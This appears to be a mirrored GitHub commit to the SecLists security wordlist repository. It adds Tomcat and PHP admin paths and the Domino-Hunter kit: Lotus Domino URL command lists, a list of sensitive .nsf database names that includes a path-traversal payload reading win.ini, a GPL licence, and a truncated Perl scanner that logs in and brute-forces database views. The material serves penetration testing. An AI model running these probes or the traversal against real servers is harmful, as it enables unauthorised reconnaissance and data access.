mirror of
https://github.com/danielmiessler/SecLists.git
synced 2025-05-08 19:56:27 +00:00
Merge pull request #183 from g0tmi1k/structure
Structure Clean Up (v3) & Issue fixes (v2)!
This commit is contained in:
Daniel Miessler
GitHub
commit
40cf4dd5b7
1
.gitignore
vendored
1
.gitignore
vendored
@ -1 +1,2 @@
|
|||||||
.DS_Store
|
.DS_Store
|
||||||
|
.*.icloud
|
||||||
@ -20,7 +20,12 @@
|
|||||||
/manager
|
/manager
|
||||||
/manager/deploy?path=foo
|
/manager/deploy?path=foo
|
||||||
/manager/html/
|
/manager/html/
|
||||||
|
/manager/html
|
||||||
|
/manager/text
|
||||||
|
/manager/jmxproxy
|
||||||
|
/manager/status
|
||||||
/servlet/default/
|
/servlet/default/
|
||||||
|
/servlet/default
|
||||||
/servlet/mstrWebAdmin
|
/servlet/mstrWebAdmin
|
||||||
/servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.DefaultServlet/tomcat.gif
|
/servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.DefaultServlet/tomcat.gif
|
||||||
/servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.SnoopAllServlet
|
/servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.SnoopAllServlet
|
||||||
|
|||||||
@ -14,6 +14,8 @@ search.php
|
|||||||
user.php
|
user.php
|
||||||
menu.php
|
menu.php
|
||||||
admin.php
|
admin.php
|
||||||
|
adminlogin.php
|
||||||
|
addadminuser.php
|
||||||
main.php
|
main.php
|
||||||
header.php
|
header.php
|
||||||
form.php
|
form.php
|
||||||
|
|||||||
@ -0,0 +1,3 @@
|
|||||||
|
?OpenDocument
|
||||||
|
?EditDocument
|
||||||
|
?CreateDocument
|
||||||
3
Discovery/Web-Content/Domino-Hunter/Commands_NSF.txt
Normal file
3
Discovery/Web-Content/Domino-Hunter/Commands_NSF.txt
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
?OpenServer
|
||||||
|
/$DefaultNav?OpenNavigator
|
||||||
|
?ReadEntries
|
||||||
5
Discovery/Web-Content/Domino-Hunter/Commands_Views.txt
Normal file
5
Discovery/Web-Content/Domino-Hunter/Commands_Views.txt
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
?OpenView
|
||||||
|
?ReadViewEntries
|
||||||
|
?ReadDesign
|
||||||
|
/$first?OpenDocument
|
||||||
|
/$defaultform?OpenForm
|
||||||
116
Discovery/Web-Content/Domino-Hunter/Domino_Files.txt
Normal file
116
Discovery/Web-Content/Domino-Hunter/Domino_Files.txt
Normal file
@ -0,0 +1,116 @@
|
|||||||
|
homepage.nsf
|
||||||
|
admin4.nsf
|
||||||
|
agentrunner.nsf
|
||||||
|
busytime.nsf
|
||||||
|
catalog.nsf
|
||||||
|
certsrv.nsf
|
||||||
|
dspug.nsf
|
||||||
|
events4.nsf
|
||||||
|
log.nsf
|
||||||
|
mail.box
|
||||||
|
mtatbls.nsf
|
||||||
|
names.nsf
|
||||||
|
reports.nsf
|
||||||
|
statmail.nsf
|
||||||
|
webadmin.nsf
|
||||||
|
?Open
|
||||||
|
?OpenServer
|
||||||
|
admin5.nsf
|
||||||
|
admin.nsf
|
||||||
|
alog.nsf
|
||||||
|
bookmarks.nsf
|
||||||
|
certa.nsf
|
||||||
|
certlog.nsf
|
||||||
|
chatlog.nsf
|
||||||
|
collect4.nsf
|
||||||
|
dba4.nsf
|
||||||
|
dclf.nsf
|
||||||
|
decsadm.nsf
|
||||||
|
deslog.nsf
|
||||||
|
domadmin.nsf
|
||||||
|
domadmin.nsf
|
||||||
|
domcfg.nsf
|
||||||
|
domguide.nsf
|
||||||
|
events5.nsf
|
||||||
|
events.nsf
|
||||||
|
event.nsf
|
||||||
|
log4a.nsf
|
||||||
|
mab.nsf
|
||||||
|
nntppost.nsf
|
||||||
|
ntsync45.nsf
|
||||||
|
perweb.nsf
|
||||||
|
quickplacequickplacemain.nsf
|
||||||
|
schema50.nsf
|
||||||
|
setupweb.nsf
|
||||||
|
setup.nsf
|
||||||
|
smbcfg.nsf
|
||||||
|
srvnam.htm
|
||||||
|
statrep.nsf
|
||||||
|
stauths.nsf
|
||||||
|
stautht.nsf
|
||||||
|
stconfig.nsf
|
||||||
|
stconf.nsf
|
||||||
|
stdnaset.nsf
|
||||||
|
stdomino.nsf
|
||||||
|
stlog.nsf
|
||||||
|
stsrc.nsf
|
||||||
|
vpuserinfo.nsf
|
||||||
|
web.nsf
|
||||||
|
852566C90012664F
|
||||||
|
a_domlog.nsf
|
||||||
|
bookmark.nsf
|
||||||
|
clbusy.nsf
|
||||||
|
cldbdir.nsf
|
||||||
|
clusta4.nsf
|
||||||
|
da.nsf
|
||||||
|
DEASAppDesign.nsf
|
||||||
|
DEASLog01.nsf
|
||||||
|
DEASLog02.nsf
|
||||||
|
DEASLog03.nsf
|
||||||
|
DEASLog04.nsf
|
||||||
|
DEASLog05.nsf
|
||||||
|
DEASLog.nsf
|
||||||
|
decslog.nsf
|
||||||
|
DEESAdmin.nsf
|
||||||
|
dirassist.nsf
|
||||||
|
doladmin.nsf
|
||||||
|
domlog.nsf
|
||||||
|
iNotes/Forms5.nsf/$DefaultNav
|
||||||
|
jotter.nsf
|
||||||
|
leiadm.nsf
|
||||||
|
leilog.nsf
|
||||||
|
leivlt.nsf
|
||||||
|
l_domlog.nsf
|
||||||
|
mail10.box
|
||||||
|
mail1.box
|
||||||
|
mail2.box
|
||||||
|
mail3.box
|
||||||
|
mail4.box
|
||||||
|
mail5.box
|
||||||
|
mail6.box
|
||||||
|
mail7.box
|
||||||
|
mail8.box
|
||||||
|
mail9.box
|
||||||
|
msdwda.nsf
|
||||||
|
mtstore.nsf
|
||||||
|
nntp/nd000001.nsf
|
||||||
|
nntp/nd000002.nsf
|
||||||
|
nntp/nd000003.nsf
|
||||||
|
qpadmin.nsf
|
||||||
|
quickplace/quickplace/main.nsf
|
||||||
|
sample/siregw46.nsf
|
||||||
|
smconf.nsf
|
||||||
|
smency.nsf
|
||||||
|
smhelp.nsf
|
||||||
|
smmsg.nsf
|
||||||
|
smquar.nsf
|
||||||
|
smsolar.nsf
|
||||||
|
smtime.nsf
|
||||||
|
smtpibwq.nsf
|
||||||
|
smtpobwq.nsf
|
||||||
|
smtp.box
|
||||||
|
smtp.nsf
|
||||||
|
smvlog.nsf
|
||||||
|
streg.nsf
|
||||||
|
userreg.nsf
|
||||||
|
.nsf/../winnt/win.ini
|
||||||
340
Discovery/Web-Content/Domino-Hunter/LICENCE.txt
Normal file
340
Discovery/Web-Content/Domino-Hunter/LICENCE.txt
Normal file
@ -0,0 +1,340 @@
|
|||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 2, June 1991
|
||||||
|
|
||||||
|
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
|
||||||
|
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The licenses for most software are designed to take away your
|
||||||
|
freedom to share and change it. By contrast, the GNU General Public
|
||||||
|
License is intended to guarantee your freedom to share and change free
|
||||||
|
software--to make sure the software is free for all its users. This
|
||||||
|
General Public License applies to most of the Free Software
|
||||||
|
Foundation's software and to any other program whose authors commit to
|
||||||
|
using it. (Some other Free Software Foundation software is covered by
|
||||||
|
the GNU Library General Public License instead.) You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
this service if you wish), that you receive source code or can get it
|
||||||
|
if you want it, that you can change the software or use pieces of it
|
||||||
|
in new free programs; and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to make restrictions that forbid
|
||||||
|
anyone to deny you these rights or to ask you to surrender the rights.
|
||||||
|
These restrictions translate to certain responsibilities for you if you
|
||||||
|
distribute copies of the software, or if you modify it.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must give the recipients all the rights that
|
||||||
|
you have. You must make sure that they, too, receive or can get the
|
||||||
|
source code. And you must show them these terms so they know their
|
||||||
|
rights.
|
||||||
|
|
||||||
|
We protect your rights with two steps: (1) copyright the software, and
|
||||||
|
(2) offer you this license which gives you legal permission to copy,
|
||||||
|
distribute and/or modify the software.
|
||||||
|
|
||||||
|
Also, for each author's protection and ours, we want to make certain
|
||||||
|
that everyone understands that there is no warranty for this free
|
||||||
|
software. If the software is modified by someone else and passed on, we
|
||||||
|
want its recipients to know that what they have is not the original, so
|
||||||
|
that any problems introduced by others will not reflect on the original
|
||||||
|
authors' reputations.
|
||||||
|
|
||||||
|
Finally, any free program is threatened constantly by software
|
||||||
|
patents. We wish to avoid the danger that redistributors of a free
|
||||||
|
program will individually obtain patent licenses, in effect making the
|
||||||
|
program proprietary. To prevent this, we have made it clear that any
|
||||||
|
patent must be licensed for everyone's free use or not licensed at all.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||||
|
|
||||||
|
0. This License applies to any program or other work which contains
|
||||||
|
a notice placed by the copyright holder saying it may be distributed
|
||||||
|
under the terms of this General Public License. The "Program", below,
|
||||||
|
refers to any such program or work, and a "work based on the Program"
|
||||||
|
means either the Program or any derivative work under copyright law:
|
||||||
|
that is to say, a work containing the Program or a portion of it,
|
||||||
|
either verbatim or with modifications and/or translated into another
|
||||||
|
language. (Hereinafter, translation is included without limitation in
|
||||||
|
the term "modification".) Each licensee is addressed as "you".
|
||||||
|
|
||||||
|
Activities other than copying, distribution and modification are not
|
||||||
|
covered by this License; they are outside its scope. The act of
|
||||||
|
running the Program is not restricted, and the output from the Program
|
||||||
|
is covered only if its contents constitute a work based on the
|
||||||
|
Program (independent of having been made by running the Program).
|
||||||
|
Whether that is true depends on what the Program does.
|
||||||
|
|
||||||
|
1. You may copy and distribute verbatim copies of the Program's
|
||||||
|
source code as you receive it, in any medium, provided that you
|
||||||
|
conspicuously and appropriately publish on each copy an appropriate
|
||||||
|
copyright notice and disclaimer of warranty; keep intact all the
|
||||||
|
notices that refer to this License and to the absence of any warranty;
|
||||||
|
and give any other recipients of the Program a copy of this License
|
||||||
|
along with the Program.
|
||||||
|
|
||||||
|
You may charge a fee for the physical act of transferring a copy, and
|
||||||
|
you may at your option offer warranty protection in exchange for a fee.
|
||||||
|
|
||||||
|
2. You may modify your copy or copies of the Program or any portion
|
||||||
|
of it, thus forming a work based on the Program, and copy and
|
||||||
|
distribute such modifications or work under the terms of Section 1
|
||||||
|
above, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) You must cause the modified files to carry prominent notices
|
||||||
|
stating that you changed the files and the date of any change.
|
||||||
|
|
||||||
|
b) You must cause any work that you distribute or publish, that in
|
||||||
|
whole or in part contains or is derived from the Program or any
|
||||||
|
part thereof, to be licensed as a whole at no charge to all third
|
||||||
|
parties under the terms of this License.
|
||||||
|
|
||||||
|
c) If the modified program normally reads commands interactively
|
||||||
|
when run, you must cause it, when started running for such
|
||||||
|
interactive use in the most ordinary way, to print or display an
|
||||||
|
announcement including an appropriate copyright notice and a
|
||||||
|
notice that there is no warranty (or else, saying that you provide
|
||||||
|
a warranty) and that users may redistribute the program under
|
||||||
|
these conditions, and telling the user how to view a copy of this
|
||||||
|
License. (Exception: if the Program itself is interactive but
|
||||||
|
does not normally print such an announcement, your work based on
|
||||||
|
the Program is not required to print an announcement.)
|
||||||
|
|
||||||
|
These requirements apply to the modified work as a whole. If
|
||||||
|
identifiable sections of that work are not derived from the Program,
|
||||||
|
and can be reasonably considered independent and separate works in
|
||||||
|
themselves, then this License, and its terms, do not apply to those
|
||||||
|
sections when you distribute them as separate works. But when you
|
||||||
|
distribute the same sections as part of a whole which is a work based
|
||||||
|
on the Program, the distribution of the whole must be on the terms of
|
||||||
|
this License, whose permissions for other licensees extend to the
|
||||||
|
entire whole, and thus to each and every part regardless of who wrote it.
|
||||||
|
|
||||||
|
Thus, it is not the intent of this section to claim rights or contest
|
||||||
|
your rights to work written entirely by you; rather, the intent is to
|
||||||
|
exercise the right to control the distribution of derivative or
|
||||||
|
collective works based on the Program.
|
||||||
|
|
||||||
|
In addition, mere aggregation of another work not based on the Program
|
||||||
|
with the Program (or with a work based on the Program) on a volume of
|
||||||
|
a storage or distribution medium does not bring the other work under
|
||||||
|
the scope of this License.
|
||||||
|
|
||||||
|
3. You may copy and distribute the Program (or a work based on it,
|
||||||
|
under Section 2) in object code or executable form under the terms of
|
||||||
|
Sections 1 and 2 above provided that you also do one of the following:
|
||||||
|
|
||||||
|
a) Accompany it with the complete corresponding machine-readable
|
||||||
|
source code, which must be distributed under the terms of Sections
|
||||||
|
1 and 2 above on a medium customarily used for software interchange; or,
|
||||||
|
|
||||||
|
b) Accompany it with a written offer, valid for at least three
|
||||||
|
years, to give any third party, for a charge no more than your
|
||||||
|
cost of physically performing source distribution, a complete
|
||||||
|
machine-readable copy of the corresponding source code, to be
|
||||||
|
distributed under the terms of Sections 1 and 2 above on a medium
|
||||||
|
customarily used for software interchange; or,
|
||||||
|
|
||||||
|
c) Accompany it with the information you received as to the offer
|
||||||
|
to distribute corresponding source code. (This alternative is
|
||||||
|
allowed only for noncommercial distribution and only if you
|
||||||
|
received the program in object code or executable form with such
|
||||||
|
an offer, in accord with Subsection b above.)
|
||||||
|
|
||||||
|
The source code for a work means the preferred form of the work for
|
||||||
|
making modifications to it. For an executable work, complete source
|
||||||
|
code means all the source code for all modules it contains, plus any
|
||||||
|
associated interface definition files, plus the scripts used to
|
||||||
|
control compilation and installation of the executable. However, as a
|
||||||
|
special exception, the source code distributed need not include
|
||||||
|
anything that is normally distributed (in either source or binary
|
||||||
|
form) with the major components (compiler, kernel, and so on) of the
|
||||||
|
operating system on which the executable runs, unless that component
|
||||||
|
itself accompanies the executable.
|
||||||
|
|
||||||
|
If distribution of executable or object code is made by offering
|
||||||
|
access to copy from a designated place, then offering equivalent
|
||||||
|
access to copy the source code from the same place counts as
|
||||||
|
distribution of the source code, even though third parties are not
|
||||||
|
compelled to copy the source along with the object code.
|
||||||
|
|
||||||
|
4. You may not copy, modify, sublicense, or distribute the Program
|
||||||
|
except as expressly provided under this License. Any attempt
|
||||||
|
otherwise to copy, modify, sublicense or distribute the Program is
|
||||||
|
void, and will automatically terminate your rights under this License.
|
||||||
|
However, parties who have received copies, or rights, from you under
|
||||||
|
this License will not have their licenses terminated so long as such
|
||||||
|
parties remain in full compliance.
|
||||||
|
|
||||||
|
5. You are not required to accept this License, since you have not
|
||||||
|
signed it. However, nothing else grants you permission to modify or
|
||||||
|
distribute the Program or its derivative works. These actions are
|
||||||
|
prohibited by law if you do not accept this License. Therefore, by
|
||||||
|
modifying or distributing the Program (or any work based on the
|
||||||
|
Program), you indicate your acceptance of this License to do so, and
|
||||||
|
all its terms and conditions for copying, distributing or modifying
|
||||||
|
the Program or works based on it.
|
||||||
|
|
||||||
|
6. Each time you redistribute the Program (or any work based on the
|
||||||
|
Program), the recipient automatically receives a license from the
|
||||||
|
original licensor to copy, distribute or modify the Program subject to
|
||||||
|
these terms and conditions. You may not impose any further
|
||||||
|
restrictions on the recipients' exercise of the rights granted herein.
|
||||||
|
You are not responsible for enforcing compliance by third parties to
|
||||||
|
this License.
|
||||||
|
|
||||||
|
7. If, as a consequence of a court judgment or allegation of patent
|
||||||
|
infringement or for any other reason (not limited to patent issues),
|
||||||
|
conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot
|
||||||
|
distribute so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you
|
||||||
|
may not distribute the Program at all. For example, if a patent
|
||||||
|
license would not permit royalty-free redistribution of the Program by
|
||||||
|
all those who receive copies directly or indirectly through you, then
|
||||||
|
the only way you could satisfy both it and this License would be to
|
||||||
|
refrain entirely from distribution of the Program.
|
||||||
|
|
||||||
|
If any portion of this section is held invalid or unenforceable under
|
||||||
|
any particular circumstance, the balance of the section is intended to
|
||||||
|
apply and the section as a whole is intended to apply in other
|
||||||
|
circumstances.
|
||||||
|
|
||||||
|
It is not the purpose of this section to induce you to infringe any
|
||||||
|
patents or other property right claims or to contest validity of any
|
||||||
|
such claims; this section has the sole purpose of protecting the
|
||||||
|
integrity of the free software distribution system, which is
|
||||||
|
implemented by public license practices. Many people have made
|
||||||
|
generous contributions to the wide range of software distributed
|
||||||
|
through that system in reliance on consistent application of that
|
||||||
|
system; it is up to the author/donor to decide if he or she is willing
|
||||||
|
to distribute software through any other system and a licensee cannot
|
||||||
|
impose that choice.
|
||||||
|
|
||||||
|
This section is intended to make thoroughly clear what is believed to
|
||||||
|
be a consequence of the rest of this License.
|
||||||
|
|
||||||
|
8. If the distribution and/or use of the Program is restricted in
|
||||||
|
certain countries either by patents or by copyrighted interfaces, the
|
||||||
|
original copyright holder who places the Program under this License
|
||||||
|
may add an explicit geographical distribution limitation excluding
|
||||||
|
those countries, so that distribution is permitted only in or among
|
||||||
|
countries not thus excluded. In such case, this License incorporates
|
||||||
|
the limitation as if written in the body of this License.
|
||||||
|
|
||||||
|
9. The Free Software Foundation may publish revised and/or new versions
|
||||||
|
of the General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the Program
|
||||||
|
specifies a version number of this License which applies to it and "any
|
||||||
|
later version", you have the option of following the terms and conditions
|
||||||
|
either of that version or of any later version published by the Free
|
||||||
|
Software Foundation. If the Program does not specify a version number of
|
||||||
|
this License, you may choose any version ever published by the Free Software
|
||||||
|
Foundation.
|
||||||
|
|
||||||
|
10. If you wish to incorporate parts of the Program into other free
|
||||||
|
programs whose distribution conditions are different, write to the author
|
||||||
|
to ask for permission. For software which is copyrighted by the Free
|
||||||
|
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||||
|
make exceptions for this. Our decision will be guided by the two goals
|
||||||
|
of preserving the free status of all derivatives of our free software and
|
||||||
|
of promoting the sharing and reuse of software generally.
|
||||||
|
|
||||||
|
NO WARRANTY
|
||||||
|
|
||||||
|
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||||
|
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||||
|
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||||
|
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||||
|
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||||
|
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||||
|
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||||
|
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||||
|
REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||||
|
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||||
|
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||||
|
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||||
|
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||||
|
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||||
|
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGES.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
possible use to the public, the best way to achieve this is to make it
|
||||||
|
free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
convey the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
<one line to give the program's name and a brief idea of what it does.>
|
||||||
|
Copyright (C) <year> <name of author>
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation; either version 2 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||||
|
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program is interactive, make it output a short notice like this
|
||||||
|
when it starts in an interactive mode:
|
||||||
|
|
||||||
|
Gnomovision version 69, Copyright (C) year name of author
|
||||||
|
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, the commands you use may
|
||||||
|
be called something other than `show w' and `show c'; they could even be
|
||||||
|
mouse-clicks or menu items--whatever suits your program.
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or your
|
||||||
|
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||||
|
necessary. Here is a sample; alter the names:
|
||||||
|
|
||||||
|
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||||
|
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||||
|
|
||||||
|
<signature of Ty Coon>, 1 April 1989
|
||||||
|
Ty Coon, President of Vice
|
||||||
|
|
||||||
|
This General Public License does not permit incorporating your program into
|
||||||
|
proprietary programs. If your program is a subroutine library, you may
|
||||||
|
consider it more useful to permit linking proprietary applications with the
|
||||||
|
library. If this is what you want to do, use the GNU Library General
|
||||||
|
Public License instead of this License.
|
||||||
297
Discovery/Web-Content/Domino-Hunter/dh.pl
Normal file
297
Discovery/Web-Content/Domino-Hunter/dh.pl
Normal file
@ -0,0 +1,297 @@
|
|||||||
|
#!/usr/bin/perl
|
||||||
|
# Domino.pl - By Onigumo. 02/06/2003.
|
||||||
|
# Contact: onigumo@free.fr
|
||||||
|
#
|
||||||
|
# This program is released under the GPL, see license file in same directory.
|
||||||
|
#
|
||||||
|
# ENJOY!
|
||||||
|
|
||||||
|
use LWP::UserAgent;
|
||||||
|
use HTTP::Request;
|
||||||
|
use HTTP::Response;
|
||||||
|
use HTTP::Cookies;
|
||||||
|
use Getopt::Std;
|
||||||
|
|
||||||
|
|
||||||
|
getopts("h:d:l:u:f:n");
|
||||||
|
#use vars qw( $opt_h $opt_d $opt_l $opt_u $opt_f $opt_s);
|
||||||
|
|
||||||
|
print "\n\nDomino Hunter - By Onugimo (c)2003 (onigumo@free.fr)\n\n\n";
|
||||||
|
|
||||||
|
if (!$opt_h || ($opt_d && $opt_d !~ /.+\.nsf$/) || ($opt_u && $opt_u !~ /.+\:.+/) || ($opt_d && $opt_f)) {
|
||||||
|
print "\n\nUSAGE :\n";
|
||||||
|
print "\t$0 <-h Host/IP> [-l logfile] [-d remote NSF file] [-u Username:Password]\n";
|
||||||
|
print "\t$0 <-h Host/IP> [-l logfile] [-f NSF files list] [-u Username:Password] [-n (no full scan)]\n\n";
|
||||||
|
exit 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
$host = $opt_h;
|
||||||
|
$database = $opt_d;
|
||||||
|
$logfile = $opt_l;
|
||||||
|
|
||||||
|
if ($opt_f) {
|
||||||
|
$files = $opt_f;
|
||||||
|
}else {
|
||||||
|
$files = "Domino_files.txt";
|
||||||
|
}
|
||||||
|
|
||||||
|
$authentication_failure = "error";
|
||||||
|
|
||||||
|
$browser = LWP::UserAgent->new;
|
||||||
|
$browser->agent('Mozilla/4.76 [en] (Win98; U)');
|
||||||
|
$browser->cookie_jar(HTTP::Cookies->new(file => 'cookies.txt', autosave => 1, ignore_discard => 1));
|
||||||
|
$browser->timeout(5);
|
||||||
|
|
||||||
|
if ($opt_u) {
|
||||||
|
$opt_u =~ s/ /%20/g; $opt_u =~ /^(.+)\:(.+)$/;
|
||||||
|
$username = $1; $password = $2;
|
||||||
|
$login_form = "names.nsf/?Login";
|
||||||
|
|
||||||
|
die "Invalid credentials supplied\n\n$!" if (!Login($browser,"http://$host/$login_form",$username,$password));
|
||||||
|
print "--[ Using credentials: $username / $password\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
open (LOGFILE,"> $logfile") if ($logfile);
|
||||||
|
|
||||||
|
$commands_docs = "Commands_Documents.txt";
|
||||||
|
$commands_views = "Commands_Views.txt";
|
||||||
|
$commands_nsf = "Commands_NSF.txt";
|
||||||
|
|
||||||
|
if (!$database) {
|
||||||
|
ScanFiles($browser,$host,$files);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ScanSingleFile($browser,$host,$database);
|
||||||
|
}
|
||||||
|
|
||||||
|
my_print("\n--[ Finished.\n\n");
|
||||||
|
|
||||||
|
close (LOGFILE) if ($logfile);
|
||||||
|
|
||||||
|
sub ScanFiles {
|
||||||
|
my($browser,$host,$files) = @_;
|
||||||
|
my $retvalue, $output;
|
||||||
|
|
||||||
|
my_print("\n--[ Scanning NSF list: $files...\n\n");
|
||||||
|
|
||||||
|
open (FILE, "$files") or die "\n\nSorry Cant Open $files \n\n$!";
|
||||||
|
|
||||||
|
foreach $cgi (<FILE>) {
|
||||||
|
chomp $cgi;
|
||||||
|
my_print(" -- Now scanning: [$cgi]\n\n") if (!$opt_n);
|
||||||
|
ScanSingleFile($browser,$host,$cgi);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(FILE);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub ScanSingleFile {
|
||||||
|
my($browser,$host,$database) = @_;
|
||||||
|
my $retvalue,$url,$output,@views;
|
||||||
|
|
||||||
|
($retvalue,$url,$output) = TestDatabase($browser,$host,$database);
|
||||||
|
|
||||||
|
if (!$opt_n && $retvalue) {
|
||||||
|
OpenDatabase($browser,$host,$database);
|
||||||
|
@views = EnumerateViews($browser,$host,$database); die "Error: no valid view found" if (!@views);
|
||||||
|
EnumerateDocs($browser,$host,$database,@views);
|
||||||
|
Summary();
|
||||||
|
} else {
|
||||||
|
if (!$opt_n || ($output !~ /^404/ && $output !~ /^500/)) {
|
||||||
|
my_print("$url -> $output\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
sub TestDatabase {
|
||||||
|
my($browser,$host,$database) = @_;
|
||||||
|
my $retvalue,$output,$content,$raw;
|
||||||
|
|
||||||
|
$url = "http://$host/$database";
|
||||||
|
($output,$content,$raw) = GetUrl($browser,$url);
|
||||||
|
|
||||||
|
$retvalue = ($output =~ /^200/);
|
||||||
|
return ($retvalue,$url,$output);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub OpenDatabase {
|
||||||
|
my($browser,$host,$database) = @_;
|
||||||
|
my @C_MSF, $output, $url, $content, $raw;
|
||||||
|
|
||||||
|
open (F3, "$commands_nsf") or die "\n\nCan't open $commands_nsf \n\n$!";
|
||||||
|
@C_NSF = <F3>; chop(@C_NSF); close(F3);
|
||||||
|
|
||||||
|
my_print("\n--[ Trying default NSF commands on $database...\n\n");
|
||||||
|
|
||||||
|
foreach $nsf (@C_NSF) {
|
||||||
|
$url = "http://$host/$database$nsf";
|
||||||
|
($output,$content, $raw) = GetUrl($browser,$url);
|
||||||
|
Output($url,$output);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub EnumerateViews {
|
||||||
|
my($browser,$host,$database) = @_;
|
||||||
|
my @C_Views, @Valid_Views, $output, $i, $_url, $url, $content, $raw, $viewid;
|
||||||
|
|
||||||
|
open (F2, "$commands_views") or die "\n\nCan't open $commands_views \n\n$!";
|
||||||
|
@C_Views = <F2>; chop(@C_Views); close(F2);
|
||||||
|
|
||||||
|
my_print("\n--[ Scanning available views...\n\n");
|
||||||
|
|
||||||
|
for ($i = 282; $i < 4095; $i += 4) {
|
||||||
|
$viewid = sprintf "%03x",$i;
|
||||||
|
$url = "http://$host/$database/$viewid";
|
||||||
|
($output,$content,$raw) = GetUrl($browser,$url);
|
||||||
|
Output($url,$output);
|
||||||
|
if ($output =~ /^200/) {
|
